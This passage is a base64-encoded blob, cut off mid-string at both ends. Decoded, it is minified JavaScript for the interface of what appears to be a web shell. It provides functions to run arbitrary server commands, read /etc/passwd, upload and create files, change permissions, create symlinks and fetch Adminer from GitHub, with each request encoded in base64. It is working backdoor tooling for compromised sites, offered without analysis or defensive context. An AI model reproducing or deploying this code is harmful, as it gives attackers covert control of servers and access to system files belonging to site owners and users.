DSEFOR0lORy4uLiI7bGV0IG49bmV3IEZvcm1EYXRhO24uYXBwZW5kKCJuZXdfbmFtZSIsby52YWx1ZSksbi5hcHBlbmQoInJlbmFtZV90YXJnZXQiLGJ0b2EoZSkpLG4uYXBwZW5kKCJvbGRfbmFtZSIsQSk7bGV0IHM9bmV3IFhNTEh0dHBSZXF1ZXN0O3Mub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCkscy5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1zLnJlYWR5U3RhdGUpe2lmKCJmYWlsZWQiPT1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpLnN0YXR1cylzaG93X3BvcHVwKCJDYW4gbm90IGNoYW5nZSB0aGUgbmFtZSEiLDNlMywiYWxlcnQiKSxvLnZhbHVlPUE7ZWxzZXtzaG93X3BvcHVwKCJOYW1lIGNoYW5nZSBhcHBsaWVkIHN1Y2Nlc3NmdWxseSEiLDNlMywic3VjY2VzcyIpO2xldCBlPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHQpLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0ZCIpLG49ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNjcmVlbiIpO24uaW5uZXJIVE1MPW4uaW5uZXJIVE1MLnJlcGxhY2UobmV3IFJlZ0V4cChlc2NhcGVSZWdFeHAoQSksImciKSxvLnZhbHVlKSxuLnF1ZXJ5U2VsZWN0b3IoImlucHV0IikudmFsdWU9by52YWx1ZTtmb3IobGV0IHQ9MDt0PGUubGVuZ3RoO3QrKyllW3RdLmlubmVySFRNTD1lW3RdLmlubmVySFRNTC5yZXBsYWNlKG5ldyBSZWdFeHAoZXNjYXBlUmVnRXhwKEEpLCJnIiksby52YWx1ZSl9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3JlbmFtZWRpciBidXR0b24iKS5kaXNhYmxlZD0hMSxkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIjcmVuYW1lZGlyIGJ1dHRvbiIpLmlubmVySFRNTD0iUkVOQU1FIn19LHMuc2VuZChuKX19ZnVuY3Rpb24gc2V0X2NobW9kKGUsdCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgQT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSxuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7bi5pbm5lckhUTUw9IlNldCBjaG1vZCBvZiAiK2U7bGV0IGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpO2kuc2V0QXR0cmlidXRlKCJpZCIsInNldGNobW9kIiksaS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYnV0dG9uIik7cy5pbm5lckhUTUw9IlNFVCIscy5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdzZXRfY2htb2RfZmlsZSgiJytlKyciLCInK3QrJyIpOycpLG8udHlwZT0idGV4dCIsby52YWx1ZT10LGkuYXBwZW5kQ2hpbGQobyksaS5hcHBlbmRDaGlsZChzKSxBLmFwcGVuZENoaWxkKG4pLEEuYXBwZW5kQ2hpbGQoaSksQS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixBLnN0eWxlLm9wYWNpdHk9IjEiLEEuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIHNldF9jaG1vZF9maWxlKGUsdCl7bGV0IEE9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNldGNobW9kIiksbj1BLnF1ZXJ5U2VsZWN0b3IoImJ1dHRvbiIpLGk9QS5xdWVyeVNlbGVjdG9yKCJpbnB1dCIpO2lmKCIiPT1pLnZhbHVlfHxpc05hTihpLnZhbHVlKSlzaG93X3BvcHVwKCJFbXB0eS9ub24tbnVtZXJpYyBmaWVsZCBpcyBub3QgYWxsb3dlZCEiLDNlMywiYWxlcnQiKTtlbHNle24uZGlzYWJsZWQ9ITAsbi5pbm5lckhUTUw9IlNFVFRJTkcuLi4iO2xldCBBPW5ldyBGb3JtRGF0YTtBLmFwcGVuZCgiY2htb2QiLGJ0b2EoaS52YWx1ZSkpLEEuYXBwZW5kKCJjaG1vZF90YXJnZXQiLGJ0b2EoZSkpO2xldCBvPW5ldyBYTUxIdHRwUmVxdWVzdDtvLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLG8ub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09by5yZWFkeVN0YXRlKXsiZmFpbGVkIj09SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKS5zdGF0dXM/KHNob3dfcG9wdXAoIkNhbiBub3QgcHJvY2VzcyB0aGlzIGNobW9kIHNldHRpbmcgdG8gdGFyZ2V0ISIsM2UzLCJhbGVydCIpLGkudmFsdWU9dCk6KHNob3dfcG9wdXAoIkNobW9kIHNldHRpbmdzIGFwcGxpZWQgc3VjY2Vzc2Z1bGx5ISIsM2UzLCJzdWNjZXNzIiksbGlzdF9kaXIod29ya2luZ19kaXIpKSxuLmRpc2FibGVkPSExLG4uaW5uZXJIVE1MPSJTRVQifX0sby5zZW5kKEEpfX1mdW5jdGlvbiBzaG93X3BvcHVwKGUsdCxBKXtsZXQgbjsobj0iYWxlcnQiPT1BP2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wb3B1cC1ib3guYWxlcnQiKTpkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucG9wdXAtYm94LnN1Y2Nlc3MiKSkuaW5uZXJIVE1MPWUsbi5zdHlsZS5yaWdodD0iMTBweCIsbi5zdHlsZS5vcGFjaXR5PSIxIixuLnN0eWxlLnZpc2liaWxpdHk9InZpc2libGUiLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtuLnN0eWxlLnJpZ2h0PSItOTk5OXB4IixuLnN0eWxlLm9wYWNpdHk9IjAiLG4uc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIn0sdCl9ZnVuY3Rpb24gZW1wdHlfcHJvY2Vzc19zY3JlZW4oKXtkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIubXdzYm94IC5wcm9jZXNzLXNjcmVlbiIpLmlubmVySFRNTD0iIn1mdW5jdGlvbiBjaGFuZ2VfZGlyKCl7bGlzdF9kaXIoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImN1cnJfZGlyIikudmFsdWUpfWZ1bmN0aW9uIGNyZWF0ZV9maWxlKCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7dC5pbm5lckhUTUw9IkNyZWF0ZSBhIGZpbGUiO2xldCBBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTtBLnNldEF0dHJpYnV0ZSgiaWQiLCJjcmVhdGVmaWxlIiksQS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYnV0dG9uIik7aS5pbm5lckhUTUw9IkNyZWF0ZSIsaS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJjcmVhdGVfZmlsZV9wcm9jZXNzKCk7Iiksbi50eXBlPSJ0ZXh0IixuLnZhbHVlPSIiLG4uc2V0QXR0cmlidXRlKCJyZXF1aXJlZCIsIiIpLEEuYXBwZW5kQ2hpbGQobiksQS5hcHBlbmRDaGlsZChpKSxlLmFwcGVuZENoaWxkKHQpLGUuYXBwZW5kQ2hpbGQoQSksZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIGNyZWF0ZV9maWxlX3Byb2Nlc3MoKXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY3JlYXRlZmlsZSIpLHQ9ZS5xdWVyeVNlbGVjdG9yKCJidXR0b24iKSxBPWUucXVlcnlTZWxlY3RvcigiaW5wdXQiKSxuPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjdXJyX2RpciIpLnZhbHVlO2lmKCIiIT09QS52YWx1ZSl7bGV0IGU9bmV3IEZvcm1EYXRhO2UuYXBwZW5kKCJjcmVhdGVfZmlsZSIsYnRvYShBLnZhbHVlKSksZS5hcHBlbmQoImRpcmVjdG9yeSIsYnRvYShuKSksdC5kaXNhYmxlZD0hMCx0LmlubmVySFRNTD0iQ1JFQVRJTkcuLi4iO2xldCBpPW5ldyBYTUxIdHRwUmVxdWVzdDtpLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLGkub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09aS5yZWFkeVN0YXRlKXtsZXQgZT1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpOyJvayI9PWUuc3RhdHVzPyhzaG93X3BvcHVwKCJGaWxlIGhhcyBjcmVhdGVkIHN1Y2Nlc3NmdWxseSEiLDNlMywic3VjY2VzcyIpLGxpc3RfZGlyKG4pKToiZmFpbGVkIj09ZS5zdGF0dXM/KHNob3dfcG9wdXAoIkZpbGUgY2FuIG5vdCBiZSBjcmVhdGVkISIsM2UzLCJhbGVydCIpLEEudmFsdWU9IiIpOihzaG93X3BvcHVwKCJUaGlzIGZpbGUvZm9sZGVyIGlzIGFscmVhZHkgZXhpc3RzISIsM2UzLCJhbGVydCIpLEEudmFsdWU9IiIpLHQuZGlzYWJsZWQ9ITEsdC5pbm5lckhUTUw9IkNSRUFURSJ9fSxpLnNlbmQoZSl9fWZ1bmN0aW9uIGNyZWF0ZV9kaXIoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iQ3JlYXRlIGEgZGlyZWN0b3J5IjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7QS5zZXRBdHRyaWJ1dGUoImlkIiwiY3JlYXRlZGlyIiksQS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpLGk9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYnV0dG9uIik7aS5pbm5lckhUTUw9IkNyZWF0ZSIsaS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJjcmVhdGVfZGlyX3Byb2Nlc3MoKTsiKSxuLnR5cGU9InRleHQiLG4udmFsdWU9IiIsbi5zZXRBdHRyaWJ1dGUoInJlcXVpcmVkIiwiIiksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKGkpLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLnN0eWxlLnZpc2liaWxpdHk9InZpc2libGUiLGUuc3R5bGUub3BhY2l0eT0iMSIsZS5zdHlsZS50b3A9IjUwJSJ9ZnVuY3Rpb24gY3JlYXRlX2Rpcl9wcm9jZXNzKCl7bGV0IGU9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNyZWF0ZWRpciIpLnF1ZXJ5U2VsZWN0b3IoImlucHV0IiksdD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY3Vycl9kaXIiKS52YWx1ZTtpZigiIiE9PWUudmFsdWUpe2xldCBBPW5ldyBGb3JtRGF0YTtBLmFwcGVuZCgiY3JlYXRlX2RpciIsYnRvYShlLnZhbHVlKSksQS5hcHBlbmQoImRpcmVjdG9yeSIsYnRvYSh0KSk7bGV0IG49bmV3IFhNTEh0dHBSZXF1ZXN0O24ub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksbi5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1uLnJlYWR5U3RhdGUpe2xldCBBPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7Im9rIj09QS5zdGF0dXM/KHNob3dfcG9wdXAoIkRpcmVjdG9yeSBoYXMgY3JlYXRlZCBzdWNjZXNzZnVsbHkhIiwzZTMsInN1Y2Nlc3MiKSxsaXN0X2Rpcih0KSk6ImZhaWxlZCI9PUEuc3RhdHVzPyhzaG93X3BvcHVwKCJEaXJlY3RvcnkgY2FuIG5vdCBiZSBjcmVhdGVkISIsM2UzLCJhbGVydCIpLGUudmFsdWU9IiIpOihzaG93X3BvcHVwKCJUaGlzIGRpcmVjdG9yeSBpcyBhbHJlYWR5IGV4aXN0cyEiLDNlMywiYWxlcnQiKSxlLnZhbHVlPSIiKX19LG4uc2VuZChBKX19ZnVuY3Rpb24gZmlsZV91cGxvYWQoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iVXBsb2FkIGEgZmlsZSI7bGV0IEE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpO0EuZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIsQS5zZXRBdHRyaWJ1dGUoImlkIiwiZmlsZXVwbG9hZCIpLEEuc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsImV2ZW50LnByZXZlbnREZWZhdWx0KCk7Iik7bGV0IG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSxpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpO2kuaW5uZXJIVE1MPSJVcGxvYWQiLGkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwidXBsb2FkX3Byb2Nlc3MoKTsiKSxuLnR5cGU9ImZpbGUiLG4uc3R5bGUud2lkdGg9IjEwMCUiLG4uc3R5bGUuY29sb3I9IiMyMjIiLG4ubmFtZT0iZmlsZXNbXSIsbi5zZXRBdHRyaWJ1dGUoInJlcXVpcmVkIiwiIiksbi5zZXRBdHRyaWJ1dGUoIm11bHRpcGxlIiwiIiksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKGkpLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLnN0eWxlLnZpc2liaWxpdHk9InZpc2libGUiLGUuc3R5bGUub3BhY2l0eT0iMSIsZS5zdHlsZS50b3A9IjUwJSJ9ZnVuY3Rpb24gdXBsb2FkX3Byb2Nlc3MoKXtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuaW5uZXIgdGFibGUiKSx0PWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5pbm5lciAubG9hZGVyaG9sZCAubG9hZGVyIiksQT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZmlsZXVwbG9hZCIpLG49QS5xdWVyeVNlbGVjdG9yKCJidXR0b24iKTtpZigiIiE9QS5xdWVyeVNlbGVjdG9yKCJpbnB1dCIpLnZhbHVlKXtlLnN0eWxlLmRpc3BsYXk9Im5vbmUiLHQuc3R5bGUuZGlzcGxheT0iYmxvY2siLG4uZGlzYWJsZWQ9ITAsbi5pbm5lckhUTUw9IlVQTE9BRElORy4uLiI7bGV0IGk9bmV3IEZvcm1EYXRhKEEpO2kuYXBwZW5kKCJkaXJlY3RvcnkiLGJ0b2EoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImN1cnJfZGlyIikudmFsdWUpKTtsZXQgbz1uZXcgWE1MSHR0cFJlcXVlc3Q7by5vcGVuKCJwb3N0IixiYXNlbmFtZSgpLCEwKSxvLm9ubG9hZD1mdW5jdGlvbigpe2lmKDQ9PW8ucmVhZHlTdGF0ZSl7Y29uc29sZS5sb2codGhpcy5yZXNwb25zZSksIm9rIj09SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKS5zdGF0dXM/KHNob3dfcG9wdXAoIkZpbGVzIGhhdmUgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5ISIsM2UzLCJzdWNjZXNzIiksbGlzdF9kaXIod29ya2luZ19kaXIpKTpzaG93X3BvcHVwKCJDYW4gbm90IHVwbG9hZCB0aGUgZmlsZXMsY2hlY2sgcGVybWlzc2lvbnMhIiwzZTMsImFsZXJ0IiksZS5zdHlsZS5kaXNwbGF5PSJ0YWJsZSIsdC5zdHlsZS5kaXNwbGF5PSJub25lIixuLmRpc2FibGVkPSExLG4uaW5uZXJIVE1MPSJVUExPQUQifX0sby5zZW5kKGkpfX1mdW5jdGlvbiBzZXBhcmF0ZV9wYXRoKCl7bGV0IGU9d29ya2luZ19kaXIudG9TdHJpbmcoKS5zcGxpdCgiLyIpOy0xPT1lWzBdLmluZGV4T2YoIjoiKSYmKGVbMF09Ii8iKTt2YXIgdD1lLmZpbHRlcihmdW5jdGlvbihlKXtyZXR1cm4iIiE9ZX0pO2xldCBBPVtdLG49W10saT0wO2ZvcihrZXkgaW4gdCl7bGV0IGU9IiI7Zm9yKGxldCBBPTA7QTx0Lmxlbmd0aCYmKGUrPXRbQV0rIi8iLEEhPWkpO0ErKyk7QS5wdXNoKHRba2V5XSksbi5wdXNoKGUpLGkrK31yZXR1cm5bQS5tYXAoZnVuY3Rpb24oZSl7cmV0dXJuIGUucmVwbGFjZSgvXC9cLy9nLCIvIil9KSxuLm1hcChmdW5jdGlvbihlKXtyZXR1cm4gZS5yZXBsYWNlKC9cL1wvL2csIi8iKX0pXX1mdW5jdGlvbiBydW5fY29tbWFuZCgpe2VtcHR5X3Byb2Nlc3Nfc2NyZWVuKCk7bGV0IGU9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByb2Nlc3Mtc2NyZWVuIiksdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJoMyIpO3QuaW5uZXJIVE1MPSJSdW4gY29tbWFuZCI7bGV0IEE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpO0Euc2V0QXR0cmlidXRlKCJpZCIsInJ1bmNtZCIpLEEuc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsImV2ZW50LnByZXZlbnREZWZhdWx0KCk7Iik7bGV0IG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSxpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7aS5pbm5lckhUTUw9IkV4ZWN1dGUiLGkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwicnVuX2NvbW1hbmRfcHJvY2VzcygpOyIpLG4udHlwZT0idGV4dCIsbi5wbGFjZWhvbGRlcj0ibHMgLWxhIixvLmNsYXNzTmFtZT0iY21kX3Jlc3VsdCIsby5zdHlsZS5kaXNwbGF5PSJub25lIixBLmFwcGVuZENoaWxkKG4pLEEuYXBwZW5kQ2hpbGQoaSksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKEEpLGUuYXBwZW5kQ2hpbGQobyksZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIHJ1bl9jb21tYW5kX3Byb2Nlc3MoKXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgicnVuY21kIiksdD1lLnF1ZXJ5U2VsZWN0b3IoImJ1dHRvbiIpLEE9ZS5xdWVyeVNlbGVjdG9yKCJpbnB1dCIpLG49ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmNtZF9yZXN1bHQiKTtpZigiIiE9PUEudmFsdWUpe2xldCBlPW5ldyBGb3JtRGF0YTtlLmFwcGVuZCgiZGlyZWN0b3J5IixidG9hKHdvcmtpbmdfZGlyKSksZS5hcHBlbmQoImNvbW1hbmQiLGJ0b2EoQS52YWx1ZSkpLHQuZGlzYWJsZWQ9ITAsdC5pbm5lckhUTUw9IkV4ZWN1dGluZy4uLiI7bGV0IGk9bmV3IFhNTEh0dHBSZXF1ZXN0O2kub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksaS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1pLnJlYWR5U3RhdGUpe2xldCBlPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7aWYoImZhaWxlZCI9PWUuc3RhdHVzKXNob3dfcG9wdXAoIkNhbiBub3QgcnVuIHRoaXMgY29tbWFuZCxmdW5jdGlvbnMgbWlnaHQgYmUgZGlzYWJsZWQhIiwzZTMsImFsZXJ0Iik7ZWxzZXtsZXQgdD1hdG9iKGUuc3RhdHVzKS5zcGxpdCgifCIpO24uaW5uZXJIVE1MPSc8Zm9udCBzdHlsZT0iY29sb3I6I2RkZDtwYWRkaW5nLWJvdHRvbToxMHB4O2Rpc3BsYXk6ZmxleDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjY2NjO21hcmdpbi1ib3R0b206NXB4OyI+W0NvbW1hbmQgZXhlY3V0ZWQgd2l0aCA6Jyt0WzBdKyJdPC9mb250PiIsbi5pbm5lckhUTUwrPSI8cHJlPiIrdFsxXSsiPC9wcmU+IixuLnN0eWxlLmRpc3BsYXk9ImJsb2NrIn10LmRpc2FibGVkPSExLHQuaW5uZXJIVE1MPSJFeGVjdXRlIn19LGkuc2VuZChlKX19ZnVuY3Rpb24gcmVhZF9wYXNzd2QoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iUmVhZCAvZXRjL3Bhc3N3ZCI7bGV0IEE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZm9ybSIpO0Euc2V0QXR0cmlidXRlKCJpZCIsInJlYWRmaWxlIiksQS5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwiZXZlbnQucHJldmVudERlZmF1bHQoKTsiKTtsZXQgbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYSIpO24udmFsdWU9IkxvYWRpbmcuLi4iLG4uZGlzYWJsZWQ9ITA7bGV0IGk9bmV3IEZvcm1EYXRhO2kuYXBwZW5kKCJyZWFkX2ZpbGUiLGJ0b2EoIi9ldGMvcGFzc3dkIikpO2xldCBvPW5ldyBYTUxIdHRwUmVxdWVzdDtvLm9wZW4oInBvc3QiLGJhc2VuYW1lKCksITApLG8ub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09by5yZWFkeVN0YXRlKXtsZXQgdD1KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpO3QuY29udGVudD9uLnZhbHVlPWF0b2IodC5jb250ZW50KTooc2hvd19wb3B1cCgiQ2FuIG5vdCByZWFkIHRoaXMgZmlsZSEiLDNlMywiYWxlcnQiKSxlLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsZS5zdHlsZS5vcGFjaXR5PSIwIixlLnN0eWxlLnRvcD0iLTUwJSIpLG4uZGlzYWJsZWQ9ITF9fSxvLnNlbmQoaSksQS5hcHBlbmRDaGlsZChuKSxlLmFwcGVuZENoaWxkKHQpLGUuYXBwZW5kQ2hpbGQoQSksZS5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixlLnN0eWxlLm9wYWNpdHk9IjEiLGUuc3R5bGUudG9wPSI1MCUifWZ1bmN0aW9uIGFkbWluZXIoKXtlbXB0eV9wcm9jZXNzX3NjcmVlbigpO2xldCBlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5wcm9jZXNzLXNjcmVlbiIpLHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaDMiKTt0LmlubmVySFRNTD0iQWRtaW5lciBJbnN0YWxsYXRpb24iO2xldCBBPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtBLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixBLnN0eWxlLmNvbG9yPSIjMjIyIixBLnN0eWxlLmZvbnRTaXplPSIxNHB4IixBLnN0eWxlLmZvbnRXZWlnaHQ9ImJvbGQiLEEuaW5uZXJIVE1MPSJJbnN0YWxsaW5nIGFkbWluZXIgZnJvbSBnaXRodWIuLi4iO2xldCBuPW5ldyBYTUxIdHRwUmVxdWVzdDtuLm9wZW4oImdldCIsYmFzZW5hbWUoKSsiP2FkbWluZXI9dHJ1ZSIsITApLG4ub25sb2FkPWZ1bmN0aW9uKCl7aWYoND09bi5yZWFkeVN0YXRlKXsiZmFpbGVkIj09SlNPTi5wYXJzZSh0aGlzLnJlc3BvbnNlKS5zdGF0dXM/KHNob3dfcG9wdXAoIkFkbWluZXIgc2V0dXAgaGFzIGZhaWxlZCEiLDNlMywiYWxlcnQiKSxlLnN0eWxlLnZpc2liaWxpdHk9ImhpZGRlbiIsZS5zdHlsZS5vcGFjaXR5PSIwIixlLnN0eWxlLnRvcD0iLTUwJSIpOihzaG93X3BvcHVwKCJBZG1pbmVyIGhhcyBpbnN0YWxsZWQgc3VjY2Vzc2Z1bGx5ISIsM2UzLCJzdWNjZXNzIiksQS5pbm5lckhUTUw9J0FkbWluZXIgcGF0aDogPGEgaHJlZj0iYWRtaW5lci13ZWIucGhwIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiM1NTU7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsiPmFkbWluZXItd2ViLnBocDwvYT4nLGxpc3RfZGlyKCIuIikpfX0sbi5zZW5kKCksZS5hcHBlbmRDaGlsZCh0KSxlLmFwcGVuZENoaWxkKEEpLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBzeW1saW5rKCl7ZW1wdHlfcHJvY2Vzc19zY3JlZW4oKTtsZXQgZT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJvY2Vzcy1zY3JlZW4iKSx0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImgzIik7dC5pbm5lckhUTUw9IkNyZWF0ZSBzeW1saW5rL2hhcmRsaW5rIjtsZXQgQT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJmb3JtIik7QS5zZXRBdHRyaWJ1dGUoImlkIiwic3ltbGluayIpLEEuc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsImV2ZW50LnByZXZlbnREZWZhdWx0KCk7Iik7bGV0IG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSxpPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImJ1dHRvbiIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7by5jbGFzc05hbWU9ImNtZF9yZXN1bHQiLG8uc3R5bGUuZGlzcGxheT0ibm9uZSIsaS5pbm5lckhUTUw9IkxJTksgVEFSR0VUIixpLnNldEF0dHJpYnV0ZSgib25jbGljayIsInN5bWxpbmtfcHJvY2VzcygpOyIpLG4udHlwZT0idGV4dCIsbi52YWx1ZT13b3JraW5nX2RpcisiLyIsbi5zZXRBdHRyaWJ1dGUoInJlcXVpcmVkIiwiIiksQS5hcHBlbmRDaGlsZChuKSxBLmFwcGVuZENoaWxkKGkpLGUuYXBwZW5kQ2hpbGQodCksZS5hcHBlbmRDaGlsZChBKSxlLmFwcGVuZENoaWxkKG8pLGUuc3R5bGUudmlzaWJpbGl0eT0idmlzaWJsZSIsZS5zdHlsZS5vcGFjaXR5PSIxIixlLnN0eWxlLnRvcD0iNTAlIn1mdW5jdGlvbiBzeW1saW5rX3Byb2Nlc3MoKXtsZXQgZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic3ltbGluayIpLHQ9ZS5xdWVyeVNlbGVjdG9yKCJidXR0b24iKSxBPWUucXVlcnlTZWxlY3RvcigiaW5wdXQiKSxuPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5jbWRfcmVzdWx0Iik7aWYoIiIhPT1BLnZhbHVlKXt0LmRpc2FibGVkPSEwLHQuaW5uZXJIVE1MPSJUUllJTkcgTElOSy4uLiI7bGV0IGU9bmV3IEZvcm1EYXRhO2UuYXBwZW5kKCJzeW1saW5rX3RhcmdldCIsYnRvYShBLnZhbHVlKSk7bGV0IGk9bmV3IFhNTEh0dHBSZXF1ZXN0O2kub3BlbigicG9zdCIsYmFzZW5hbWUoKSwhMCksaS5vbmxvYWQ9ZnVuY3Rpb24oKXtpZig0PT1pLnJlYWR5U3RhdGUpe2xldCBlPUpTT04ucGFyc2UodGhpcy5yZXNwb25zZSk7ImZhaWxlZCI9PWUuc3RhdHVzP3Nob3dfcG9wdXAoIkNhbiBub3QgZ2l2ZSBzeW